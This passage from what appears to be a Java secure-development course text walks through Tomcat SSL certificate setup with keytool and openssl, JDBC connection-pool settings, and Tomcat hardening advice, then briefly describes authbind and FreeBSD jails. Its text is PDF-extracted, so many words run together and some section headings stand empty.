and you should see the usual Tomcat splash page (unless you have modified the ROOTweb application). If this does not work, the following section contains sometroubleshooting tips.Installing a Certificate from a Certificate Authority

To obtain and install a Certificate from a Certificate Authority (like verisign.com,thawte.com or trustcenter.de), read the previous section and then follow theseinstructions:

Create a local Certificate Signing Request (CSR)

In order to obtain a Certificate from the Certificate Authority of your choice you have tocreate a so called Certificate Signing Request (CSR). That CSR will be used by theCertificate Authority to create a Certificate that will identify your website as "secure".

Page 233: Java secure development   part 3

722 | P a g e

To create a CSR follow these steps:

Create a local Certificate (as described in the previous section):

keytool -genkey -alias tomcat -keyalg RSA \-keystore <your_keystore_filename>

Note: In some cases you will have to enter the domain of your website(i.e. www.myside.org) in the field "first- and lastname" in order to create a workingCertificate.

The CSR is then created with:

keytool -certreq -keyalg RSA -alias tomcat -file certreq.csr \-keystore <your_keystore_filename>

Now you have a file called certreq.csr that you can submit to the Certificate Authority(look at the documentation of the Certificate Authority website on how to do this). Inreturn you get a Certificate.Importing the Certificate

Now that you have your Certificate you can import it into you local keystore. First of allyou have to import a so called Chain Certificate or Root Certificate into your keystore.After that you can proceed with importing your Certificate.

Download a Chain Certificate from the Certificate Authority you obtained theCertificate from.For Verisign.com commercial certificates go to:http://www.verisign.com/support/install/intermediate.htmlFor Verisign.com trial certificates go to: http://www.verisign.com/support/verisign-intermediate-ca/Trial_Secure_Server_Root/index.htmlFor Trustcenter.de go to:http://www.trustcenter.de/certservices/cacerts/en/en.htm#serverFor Thawte.com go to: http://www.thawte.com/certs/trustmap.html

Import the Chain Certificate into your keystore

keytool -import -alias root -keystore <your_keystore_filename> \-trustcacerts -file <filename_of_the_chain_certificate>

Page 234: Java secure development   part 3

723 | P a g e

And finally import your new Certificate

keytool -import -alias tomcat -keystore <your_keystore_filename> \-file <your_certificate_filename>

Troubleshooting

Here is a list of common problems that you may encounter when setting up SSLcommunications, and what to do about them.

When Tomcat starts up, I get an exception like "java.io.FileNotFoundException: {some-directory}/{some-file} not found".

A likely explanation is that Tomcat cannot find the keystore file where it islooking. By default, Tomcat expects the keystore file to be named .keystore in theuser home directory under which Tomcat is running (which may or may not bethe same as yours :-). If the keystore file is anywhere else, you will need to adda keystoreFileattribute to the <Factory> element in the Tomcat configuration file.

When Tomcat starts up, I get an exception like "java.io.FileNotFoundException: Keystorewas tampered with, or password was incorrect".

Assuming that someone has not actually tampered with your keystore file, themost likely cause is that Tomcat is using a different password than the one youused when you created the keystore file. To fix this, you can either go backand recreate the keystore file, or you can add or update the keystorePass attributeon the <Connector>element in the Tomcat configuration file. REMINDER -Passwords are case sensitive!

When Tomcat starts up, I get an exception like "java.net.SocketException: SSLhandshake errorjavax.net.ssl.SSLException: No available certificate or key correspondsto the SSL cipher suites which are enabled."

A likely explanation is that Tomcat cannot find the alias for the server key withinthe specified keystore. Check that the correct keystoreFile and keyAlias are specifiedin the <Connector> element in the Tomcat configuration file. REMINDER -keyAlias values may be case sensitive!

Configure the CA================

Page 235: Java secure development   part 3

724 | P a g e

1. Setup the file structure for your CA

D:mkdir \certsmkdir \certs\cacd \certs\camkdir certs private newcertsecho 1000 > serial

2. Create a blank file called index.txt in

D:\certs\ca

3. Copy openssl.cnf to your certs directory

4. Edit openssl.cnf and modify the following line in the CA section

dir=d:\certs\ca

5. Edit openssl.cnf and modify the certificate defaults as appropriate for your environment

6. Create a CA with a 10-year certificate

D:cd \certs\caopenssl req -new -x509 -days 3650 -extensions v3_ca -keyout private\cakey.pem -out cacert.pem -configD:\certs\openssl.cnf

Create a host certificate=========================

1. Create a certificate request for tomcat

D:cd \certs\caopenssl req -new -nodes -out tomcathost-req.pem -keyout private\tomcathost-key.pem -configD:\certs\openssl.cnf

2. Sign the certificate request to create a 2-year certificate

openssl ca -days 730 -config D:\certs\openssl.cnf -out tomcathost-cert.pem -infiles tomcathost-req.pem

Convert certficates to Java Key Store format============================================

1. Convert CA cert

openssl x509 -in cacert.pem -inform PEM -out cacert.der -outform DER

Page 236: Java secure development   part 3

725 | P a g e

2. Convert tomcat host key and cert

openssl pkcs8 -topk8 -nocrypt -in private\tomcathost-key.pem -inform PEM -out private\tomcathost-key.der -outform DERopenssl x509 -in tomcathost-cert.pem -inform PEM -out tomcathost-cert.der -outform DER3. Download ImportKey.class here and copy this file toD:\certs\ca

4. Import the tomcathost key and cert in to a Java key store

java -Dkeystore=tomcathost.jks ImportKey private\tomcathost-key.der tomcathost-cert.der

5. import the CA cert in to a Java trust store

keytool -importcert -alias CA -file cacert.der -keystore trust.jks

Configure Tomcat to use the new certificate for SSL===================================================

1. Copy trust.jks and tomcathost.jks to %CATALINA_BASE%\conf

2. Modify the SSL connector in server.xml to:

maxThreads="150" scheme="https" secure="true"clientAuth="false" sslProtocol="TLS"keystoreFile="${catalina.base}/conf/tomcathost.jks"keystorePass="importkey"truststoreFile="${catalina.base}/conf/trust.jks"truststorePass="changeit"

Configure Tomcat's Resource Factory

To configure Tomcat's resource factory, add an element like this tothe <Context> element for the web application.

<Context ...>...<Resource name="jdbc/EmployeeDB"

auth="Container"type="javax.sql.DataSource"username="dbusername"

Page 237: Java secure development   part 3

726 | P a g e

password="dbpassword"driverClassName="org.hsql.jdbcDriver"url="jdbc:HypersonicSQL:database"maxActive="8"maxIdle="4"/>

...</Context>

Note that the resource name (here, jdbc/EmployeeDB) must match the valuespecified in the web application deployment descriptor.

This example assumes that you are using the HypersonicSQL database JDBCdriver. Customize the driverClassName and driverName parameters to match youractual database's JDBC driver and connection URL.

The configuration properties for Tomcat's standard data source resourcefactory (org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory) are as follows:

driverClassName - Fully qualified Java class name of the JDBC driver tobe used.

username - Database username to be passed to our JDBC driver. password - Database password to be passed to our JDBC driver. url - Connection URL to be passed to our JDBC driver. (For backwards

compatibility, the property driverName is also recognized.) initialSize - The initial number of connections that will be created in the

pool during pool initialization. Default: 0 maxActive - The maximum number of connections that can be

allocated from this pool at the same time. Default: 8 minIdle - The minimum number of connections that will sit idle in this

pool at the same time. Default: 0 maxIdle - The maximum number of connections that can sit idle in this

pool at the same time. Default: 8 maxWait - The maximum number of milliseconds that the pool will wait

(when there are no available connections) for a connection to bereturned before throwing an exception. Default: -1 (infinite)

Some additional properties handle connection validation:

Page 238: Java secure development   part 3

727 | P a g e

validationQuery - SQL query that can be used by the pool to validateconnections before they are returned to the application. If specified,this query MUST be an SQL SELECT statement that returns at least onerow.

validationQueryTimeout - Timeout in seconds for the validation queryto return. Default: -1 (infinite)

testOnBorrow - true or false: whether a connection should be validatedusing the validation query each time it is borrowed from the pool.Default: true

testOnReturn - true or false: whether a connection should be validatedusing the validation query each time it is returned to the pool. Default:false

The optional evictor thread is responsible for shrinking the pool by removingany conections which are idle for a long time. The evictor does notrespect minIdle. Note that you do not need to activate the evictor thread if youonly want the pool to shrink according to the configured maxIdle property.

The evictor is disabled by default and can be configured using the followingproperties:

timeBetweenEvictionRunsMillis - The number of milliseconds betweenconsecutive runs of the evictor. Default: 30*60*1000 (30 minutes)

numTestsPerEvictionRun - The number of connections that will bechecked for idleness by the evitor during each run of the evictor.Default: 3

minEvictableIdleTimeMillis - The idle time in milliseconds after which aconnection can be removed from the pool by the evictor. Default: -1(disabled)

testWhileIdle - true or false: whether a connection should be validatedby the evictor thread using the validation query while sitting idle in thepool. Default: false

Another optional feature is the removal of abandoned connections. Aconnection is called abandoned if the application does not return it to the poolfor a long time. The pool can close such connections automatically andremove them from the pool. This is a workaround for applications leakingconnections.

Page 239: Java secure development   part 3

728 | P a g e

The abandoning feature is disabled by default and can be configured using thefollowing properties:

removeAbandoned - true or false: whether to remove abandonedconnections from the pool. Default: false

removeAbandonedTimeout - The number of seconds after which aborrowed connection is assumed to be abandoned. Default: 300

logAbandoned - true or false: whether to log stack traces forapplication code which abandoned a statement or connection. Thisadds serious overhead. Default: false

Finally there are various properties that allow further fine tuning of the poolbehaviour:

defaultAutoCommit - true or false: default auto-commit state of theconnections created by this pool. Default: true

defaultReadOnly - true or false: default read-only state of theconnections created by this pool. Default: false

defaultTransactionIsolation - This sets the default transaction isolationlevel. Can be oneof NONE, READ_COMMITTED, READ_UNCOMMITTED, REPEATABLE_READ,SERIALIZABLE.Default: no default set

poolPreparedStatements - true or false: whether to poolPreparedStatements and CallableStatements. Default: false

maxOpenPreparedStatements - The maximum number of openstatements that can be allocated from the statement pool at the sametime. Default: -1 (unlimited)

defaultCatalog - The name of the default catalog. Default: not set connectionInitSqls - A list of SQL statements run once after a

Connection is created. Separate multiple statements by semicolons (;).Default: no statement

connectionProperties - A list of driver specific properties passed to thedriver for creating connections. Each property is given as name=value,multiple properties are separated by semicolons (;). Default: noproperties

accessToUnderlyingConnectionAllowed - true or false: whetheraccessing the underlying connections is allowed. Default: false

Page 240: Java secure development   part 3

729 | P a g e

Tomcat vulns

Tomcat security manager

Page 241: Java secure development   part 3

730 | P a g e

Logging

Page 242: Java secure development   part 3

731 | P a g e

Tomcat: Manager Application

If you don’t need it, don’t deploy it If you do need it:

o Limit access to known IP addresseso Use strong passwordso Don’t browse untrusted sites whilist logged in to the manager applicationo Log off (close your browser) when you are doneo Use a lock-out realm (see next slides)

The same guidelines apply for any administratirve application

Tomcat: Realms

Tomcat provides a number of Realm implementations Don’t use:

o MemoryRealmo JDBCRealm

Be careful with the JAASRealm That leaves:

o UserDatabaseRealmo JNDIRealmo DataSourceRealm

Page 243: Java secure development   part 3

732 | P a g e

Tomcat: Realms Details

UserDatabaseRealmo Replacement for MemoryRealmo Based on tomcat-users.xmlo Convoluted to update user database (via JMX)o Good for small numbers of fairly static users

DataSourceRealmo Replacement for JDBCRealm

JNDIRealmo Effectivly single threaded

Tomcat: Realms Issues & History

Issues with all of the realmso Allow unlimited authentication attamptso You could only have one Realm per Engine, Host or Context

Unlimited authentication attempts permit brute force attackso Made attacks in June 2008 easier

Introduced LockoutRealm to address thiso Additional benefit was the creation of the CombinedRealm that allows multiple

Realms to be used together

Tomcat: System properties

Org.apache.catalina.STRICT_SERVLET_COMPLIANCEo Will add a character encoding header when calling getWriter() – reduces

exposure to UTF-7 XSS attacks Org.apache.coyote

USE_CUSTOM_STATUS_MSG_IN_HEADER Ensure ISO-8859-1 encoding

Tomcat: Miscellaneous

Disable shutdown port

Page 244: Java secure development   part 3

733 | P a g e

o <Server port=”-1” …/> Do connectors have to listen all intefaces?

o <Connector address=”…” …/> Pros and cons of advertising server version

o <Connector server=”Apache-Coyote/1.1” />

Tomcat: Passwords

Server.xml or context.xml Why is the password in plain text?

o Tomcat needs the plain text password to connect to the external resourceo Encrypting the password means Tomcat would need a decryption key – back to

the original problem There are potential solutions Enter password at Tomcat start

o tc Server featureo Password will stay in memoryo Tomcat restart requires manual intervention

Encode the passwordo tc Server featureo Tomcat requires custom codeo Encoding is not encryptiono May prevent some accidental disclosures

Webapps: Authentication:

Basic & Formo Must use SSL

Digesto SSL is not required

Client-Certificateo Already uses SSL

Session Identifier (Cookie or URL parameter also needs protection) Don’t switch back from HTTPS to HTTP after the user has been authenticated

Webapps: SSL:

By default, HTTP requests are sent in clear text

Page 245: Java secure development   part 3

734 | P a g e

Be careful when redirecting from http to https When using a transport guarantee the process is:

o HTTP request is sent inc lear text to Tomcato The HTTP request headers are parsedo Request mapped to contexto Transport guarantee identifiedo HTTP redirect (302) issued to HTTPSo HTTP request resent over HTTPSo HTTP response sent over HTTPS

Webapps: context.xml

Protect session cookieso <Context useHttpOnly=”true” …/>o Will default to true from Tomcat 7.0.x onwards

Permitting cross-context request dispatchingo <Context crossContext=”true” …/>

Permitting symlinks has security side-effectso <Context allowLinking=”true” …/>

Allow access to Tomcat internalso <Context privileged=”true” …/>

Webapps: Miscellaneous

Invoker servleto Bypasses security constaints

XSS, SQL Injection etc.o Don’t trust user inputo Protection needs to be in the application

Policy & Process

Review your logso Access logso Application logso Tomcat logs

Page 246: Java secure development   part 3

735 | P a g e

o System (e.g. firewall) logs What do you do if you find an attempted attack? What do you do if you find an successful attack? What do you do if a Tomcat vulnerability is announced?

Assiting software from the Linux world

Authbind

authbind is an Open source system utility written by Ian Jackson and is distributed underthe GNU General Public License. The authbind software allows a program that would normallyrequire superuser privileges to access privileged network services to run as a non-privilegeduser. authbind allows the system administrator to permit specific users and groups access tobind to TCP and UDP ports below 1024. Ports 0 - 1023 are normally privileged and reserved forprograms that are run as the root user.

Allowing regular users limited access to privileged ports helps prevent possible privilegeescalation and system compromise if the software happens to contain software bugs or is foundto be vulnerable to unknown exploits.authbind achieves this by defining the LD_PRELOAD environment variable.authbind is currently distributed with the Debian and Ubuntu Linux distributions

FreeBSD jail

The FreeBSD jail mechanism is an implementation of operating system-level virtualization thatallows administrators to partition a FreeBSD-based computer system into several independentmini-systems called jails.The need for the FreeBSD jails came from service providers' desire to establish a clean, clear-cutseparation between their own services and those of their customers, mainly for security andease of administration. Instead of adding a new layer of fine-grained configuration options, thesolution adopted was to compartmentalize the system, both its files and its resources, in such away that only the right person(s) are given access to the right compartment(s).FreeBSD jails mainly aim at three goals:

Page 247: Java secure development   part 3

736 | P a g e

1. Virtualization: Each jail is a virtual environment running on the host machine with its own files,

processes, user and superuser accounts. From within a jailed process, the environment is

(almost) indistinguishable from a real system.

2. Security: Each jail is sealed from the others, thus providing an additional level of security.

3. Ease of delegation: The limited scope of a jail allows system administrators to delegate several

tasks which require superuser access without handing out complete control over the system.

GoalsUnlike common chroot jail, which restricts processes to a particular view of the filesystem, theFreeBSD jail mechanism restrict what a process in a jail can do in relation to the rest of thesystem. In effect, jailed processes are sandboxed. They are bound to specific IP addresses, and ajailed process cannot access to divert or routing sockets. Raw sockets are also disabled bydefault, but may be enabled by setting the security.jail.allow_raw_sockets sysctl option.Additionally, interaction between processes that are not running in the same jail is restricted.

The jail(8) utility and jail(2) system call first appeared in FreeBSD 4.0. New utilities (forexample jls(8) to list jails) and system calls (for example jail_attach(2) to attach a new process toa jail) that render jail management much easier were added in FreeBSD 5.1. The jail subsystemhas been significantly updated for FreeBSD 7.2, including support for multiple IPv4 and IPv6addresses per jail and support for binding jails to specific CPUs.